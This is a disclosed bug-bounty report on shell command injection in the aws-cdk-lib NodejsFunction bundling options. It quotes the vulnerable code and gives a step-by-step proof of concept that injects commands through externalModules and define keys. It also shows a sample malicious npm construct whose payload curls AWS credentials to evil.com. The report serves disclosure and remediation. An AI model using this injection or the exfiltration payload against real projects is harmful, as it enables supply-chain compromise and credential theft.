HexBrain

AWS VDP · Report #3558713

Command Injection via Unsanitized Bundling Options in `aws-cdk-lib/aws-lambda-nodejs`

Validstatus
highseverity
48upvotes
11 Jun 2026disclosed

How it was found

Asset: aws-cdk-lib (npm package), source: https://github.com/aws/aws-cdk Severity: High CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command, 'OS Command Injection')


Summary

The NodejsFunction construct in aws-cdk-lib/aws-lambda-nodejs constructs a shell command string from several user-controlled bundling properties (externalModules, define, loader, inject, esbuildArgs) without sanitizing or escaping shell metacharacters. This command string is then executed via spawnSync('cmd', ['/c', command]) on Windows or spawnSync('bash', ['-c', command]) on Linux/macOS.

An attacker who controls these properties (for example, through a malicious CDK construct published as an npm package or a malicious pull request to a CDK project) can inject arbitrary OS commands that execute on any machine running cdk synth, cdk deploy, or cdk diff.


Vulnerable Code

File: packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts

.1 Unsanitized interpolation into the esbuild command array (lines 245–266)

// bundling.ts, lines 245-266
const esbuildCommand: string[] = [
  options.esbuildRunner,
  '--bundle', `"${relativeEntryPath}"`,
  `--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
  '--platform=node',
  // ...
  ...this.externals.map(external => `--external:${external}`),         // LINE 255 — NO ESCAPING
  ...loaders.map(([ext, name]) => `--loader:${ext}=${name}`),          // LINE 256 — NO ESCAPING
  ...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // LINE 257 — key NOT ESCAPED
  // ...
  ...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [],   // LINE 265 — NO ESCAPING
  ...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [],         // LINE 266 — NO ESCAPING
];

The values of external, ext (loader keys), key (define keys), i (inject paths), and esbuildArgs keys/values are all interpolated directly into the command string without any sanitization or quoting.

.2 Command string assembly (line 302)

// bundling.ts, line 302
esbuildCommand.join(' ')

All array elements are joined with a single space. Shell metacharacters like &, |, ;, `, $(...) within any element will be interpreted by the shell.

.3 Shell execution (lines 334–349)

// bundling.ts, lines 334-349
exec(
  osPlatform === 'win32' ? 'cmd' : 'bash',
  [
    osPlatform === 'win32' ? '/c' : '-c',
    localCommand,   // <-- the unsanitized command string
  ],
  {
    env: { ...process.env, ...environment },
    stdio: ['ignore', process.stderr, 'inherit'],
    cwd,
    windowsVerbatimArguments: osPlatform === 'win32',
  });

Where exec is a thin wrapper around spawnSync in lib/util.ts (line 74):

// util.ts, line 74
export function exec(cmd: string, args: string[], options?: SpawnSyncOptions) {
  const proc = spawnSync(cmd, args, options);
  // ...
}

The localCommand string is passed as the second argument to cmd /c (Windows) or bash -c (Linux), meaning the entire string is interpreted by the operating system's shell.


Proof of Concept

Prerequisites

  • Node.js v18+ installed
  • npm installed

Step 1: Create the project

mkdir repro-cdk-bundling-rce
cd repro-cdk-bundling-rce
npm init -y

Step 2: Install dependencies

npm install aws-cdk-lib constructs esbuild typescript
npm install --save-dev aws-cdk ts-node

Step 3: Create tsconfig.json

{
  "compilerOptions": {
    "target": "es2020",
    "module": "commonjs",
    "strict": true,
    "skipLibCheck": true
  }
}

Step 4: Create lambda/lambda-handler.ts

mkdir lambda
// lambda/lambda-handler.ts
export const handler = async (event: any) => {
    return { statusCode: 200, body: 'Hello' };
};

Step 5: Create app.ts with the injection payload

import * as cdk from 'aws-cdk-lib';
import { Stack, StackProps } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import { Construct } from 'constructs';
import * as path from 'path';

export class ReproStack extends Stack {
    constructor(scope: Construct, id: string, props?: StackProps) {
        super(scope, id, props);

        new NodejsFunction(this, 'MyHandler', {
            entry: path.join(__dirname, 'lambda', 'lambda-handler.ts'),
            runtime: Runtime.NODEJS_20_X,
            bundling: {
                // INJECTION: The '&' character breaks out of the esbuild argument
                // and executes a second command on the host OS.
                externalModules: ['foo & echo PWNED_VIA_EXTERNAL > pwned_ext.txt'],
                define: {
                    'FOO & echo PWNED_VIA_DEFINE > pwned_def.txt': 'bar'
                }
            }
        });
    }
}

const app = new cdk.App();
new ReproStack(app, 'ReproStack');
app.synth();

Step 6: Run the synthesis

npx ts-node app.ts

This triggers local bundling. The CDK constructs the following shell command (captured from runtime):

npx.cmd --no-install esbuild --bundle "...\lambda-handler.ts" --target=node20 --platform=node --outfile="...\index.js" --external:foo & echo PWNED_VIA_EXTERNAL > pwned_ext.txt --define:FOO & echo PWNED_VIA_DEFINE > pwned_def.txt="bar"

The & character splits the single command into three separate shell commands:

  1. npx.cmd --no-install esbuild --bundle ... --external:foo, esbuild runs normally
  2. echo PWNED_VIA_EXTERNAL > pwned_ext.txt, attacker's injected command executes
  3. echo PWNED_VIA_DEFINE > pwned_def.txt="bar", attacker's second injected command executes

Step 7: Verify RCE

# On Windows:
type pwned_ext.txt
type pwned_def.txt

# On Linux/macOS:
cat pwned_ext.txt
cat pwned_def.txt

Both files are created in the project directory, confirming that the injected shell commands executed successfully.


Relationship to Related Vulnerability

This vulnerability is related to, but distinct from, a separate command injection issue I reported in the same module via tsconfig.json compiler options (Report: #3534806 ). Both exploit the same underlying design flaw, unsanitized string concatenation into a shell command, but they differ in entry point, trigger conditions, and attack surface.

AspectVuln 1: tsconfig.json InjectionVuln 2: Bundling Options Injection (this report)
Input sourcetsconfig.json file read from diskCDK construct properties defined in code (externalModules, define, loader, etc.)
Vulnerable functiongetTsconfigCompilerOptions() in lib/util.tscreateBundlingCommand() in lib/bundling.ts
Trigger conditionRequires preCompilation: true to be explicitly setAlways active — the default local bundling code path processes these properties unconditionally
What gets injectedCompiler option values from compilerOptions in tsconfig.jsonValues from externalModules[], define{} keys, loader{} keys, inject[], esbuildArgs{} keys/values
Attack vectorAttacker places a malicious tsconfig.json file in the project (e.g., via a PR)Attacker provides malicious values through a published CDK construct (npm package), a shared internal library, or a PR modifying CDK app code
Number of injectable parametersOne (compilerOptions values)Multiple (at least 5 distinct properties)
Execution sinkSame: exec() → spawnSync('cmd'/'bash', ['/c'/'-c', command])Same

Both vulnerabilities converge at the same execution sink: the exec() function in util.ts (line 74), which passes the assembled command string directly to a shell interpreter via spawnSync. This means the root cause is systemic, the entire command construction pipeline in aws-lambda-nodejs lacks input sanitization before shell execution. A comprehensive fix should address this at the architectural level by eliminating shell-based command execution in favor of array-based spawnSync (without shell interpretation).


Remediation

  1. Use array-based spawnSync: Replace the pattern of building a single shell command string and executing it via cmd /c or bash -c. Instead, pass arguments directly as an array to spawnSync('esbuild', [...args]) without shell interpretation.

  2. If shell execution is required: Escape all user-provided values for the target shell before interpolation. On Windows, this means handling &, |, >, <, ^, etc. On Linux, this means handling ;, &, |, $, `, etc.

  3. Input validation: Validate that values like externalModules entries conform to expected npm package name patterns (e.g., /^[@a-z0-9][a-z0-9._\/-]*$/). Reject values containing shell metacharacters.

Impact

Attack Scenarios

1. Malicious Published CDK Construct (Supply Chain Attack)

An attacker publishes an npm package that exports a "convenience" CDK construct wrapping NodejsFunction. The construct passes attacker-controlled values into externalModules, define, or other unsanitized bundling properties. Any developer or CI/CD system that imports this construct and runs cdk synth will execute the attacker's commands.

Example of a malicious construct:

// Published as "convenient-lambda" on npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';

export class ConvenientLambda extends NodejsFunction {
  constructor(scope, id, props) {
    super(scope, id, {
      ...props,
      bundling: {
        ...props.bundling,
        externalModules: [
          ...(props.bundling?.externalModules ?? []),
          // Attacker payload hidden among legitimate-looking externals
          'lodash & curl https://evil.com/exfil?data=$(cat ~/.aws/credentials | base64)',
        ],
      },
    });
  }
}

2. Malicious Pull Request

An attacker submits a PR to an open-source or internal CDK project. The PR modifies the bundling configuration of a NodejsFunction to include a payload. When a reviewer or CI/CD pipeline runs cdk synth, the payload executes.

Consequences

  • Credential Theft: Steal ~/.aws/credentials, environment variables, CI/CD secrets
  • Reverse Shell: Establish persistent access to the build machine
  • Supply Chain Pivot: Modify build artifacts, inject backdoors into deployed Lambda code
  • Data Exfiltration: Read source code, database credentials, private keys

Scope of Vulnerability (Affected Properties)

The following bundling properties in NodejsFunction are vulnerable:

PropertySource LineInterpolation PatternSanitization
externalModulesL255`--external:${external}`None
loader (keys)L256`--loader:${ext}=${name}`None
define (keys)L257`--define:${key}=...`Key: None, Value: JSON.stringify
injectL265`--inject:"${i}"`None
esbuildArgs (keys/values)L266 / L451-465Various patternsNone
bannerL262`--banner:js=${JSON.stringify(...)}`JSON.stringify (partial)
footerL263`--footer:js=${JSON.stringify(...)}`JSON.stringify (partial)

The most exploitable vectors are externalModules and define keys since they have zero sanitization and accept arbitrary strings with no validation.


This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original